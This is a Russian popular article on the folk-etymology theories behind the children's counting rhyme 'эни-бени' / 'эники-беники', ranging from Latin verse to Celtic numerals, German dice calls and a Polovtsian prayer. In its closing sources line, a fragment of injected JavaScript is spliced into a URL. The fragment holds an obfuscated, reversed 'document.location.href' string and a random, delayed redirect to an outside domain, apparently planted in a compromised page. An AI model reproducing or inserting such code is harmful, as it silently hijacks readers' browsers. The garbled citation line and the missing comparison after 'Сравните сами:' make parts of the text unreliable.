Эни-бени-рики-факи –
Турбо-урбо-синтибряки-
Деус-деус-космодеус-
Бац!
А знаете ли вы, что эта всем известная детская считалочка на самом деле пересказ латинского стишка о том, как Эней создал государство, построив город на берегу Тибра?
Aeneas bene rem publicam facit
In turba urbem sene Tiberi jacit
Deus, deus, crassus deus
Bacchus!
К такому заключению недавно пришел переводчик Илья Нахмансон, переведя этот стих следующим образом:
Эней удачно создал государство,
Под шумок основав город у старого Тибра.
Бог, бог, пузатый бог Вакх!
Не будем забывать, что вплоть до XVIII века латинский язык оставался международным языком науки. А считалочки, как и другие виды народного фольклора, стали собирать и записывать в XIX веке. Так что вполне возможно, что студенты Ломоносовской эпохи, заучившие этот стишок, способствовали тому, чтобы он дошел до нас в виде считалочки.
Однако существуют еще несколько версий происхождения считалочки.
Так, один из ее вариантов звучит как «эне, бене, раба, квинтер, финтер». Ефим Щуп, проанализировав старинную англоязычную монографию Болтона, посвященную детским считалкам народов Европы и их происхождению, обнаружил некоторые сходства между так называемым «англо-валийским счетом», который использовался при торговле между валлийцами и англичанами, и словами из считалочки, которые, по его мнению, не что иное как видоизмененные числительные, весьма искаженные. Сравните сами:
Щуп предполагает, что дальше “заразный мотив англо-кельтской считалки распространился по всей Европе”.
Распространенным вариантом этой считалочки является тот, где «эники-беники ели вареники». Советский лингвист, филолог и переводчик Владимир Орел предполагал, что данная присказка появилась в нашей речи, благодаря немецкому языку. Еще в Средневековой Германии похожие слова произносили рыцари при игре в кости. Они говорили: Einec beinec doppelte», что означало «единственная кость удвоилась». Позже «эники-беники» стали использовать и поляки, а затем и жители других государств. В России к «эникам-беникам» прибавилось предложение «ели вареники» только потому, что эти фразы оказались созвучны.
В 1960-х годах журналист и поэт Игорь Тарабукин обнаружил, что Владимир Даль в своем словаре писал, что бенечка — это слово родом из Ярославской губернии и обозначает обычную вилку. Игорь Тарабукин даже сочинил стихотворение по этому поводу.
Современный исследователь Марина Резникова в своей работе «Этнографические очерки о южнорусском казачестве» утверждает, что именно со слов «эники-беники» начинали свою молитву половцы. Дело в том, что в те времена «Энныке-бэнныке» означало «Мать Всемогущая». Молитва была обращена к одному из женских божеств тюркских народов по имени Умай. С принятием христианства, первоначальный смысл молитвы и другие ее слова были забыты и стали некоей бессмыслицей, перекочевавшей в разряд детских считалок.
Источники: Тарабукин И.И. “Эники-Беники ели вареники”; https://medvediatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor.ru; https://ru-etymology.livejournal.com/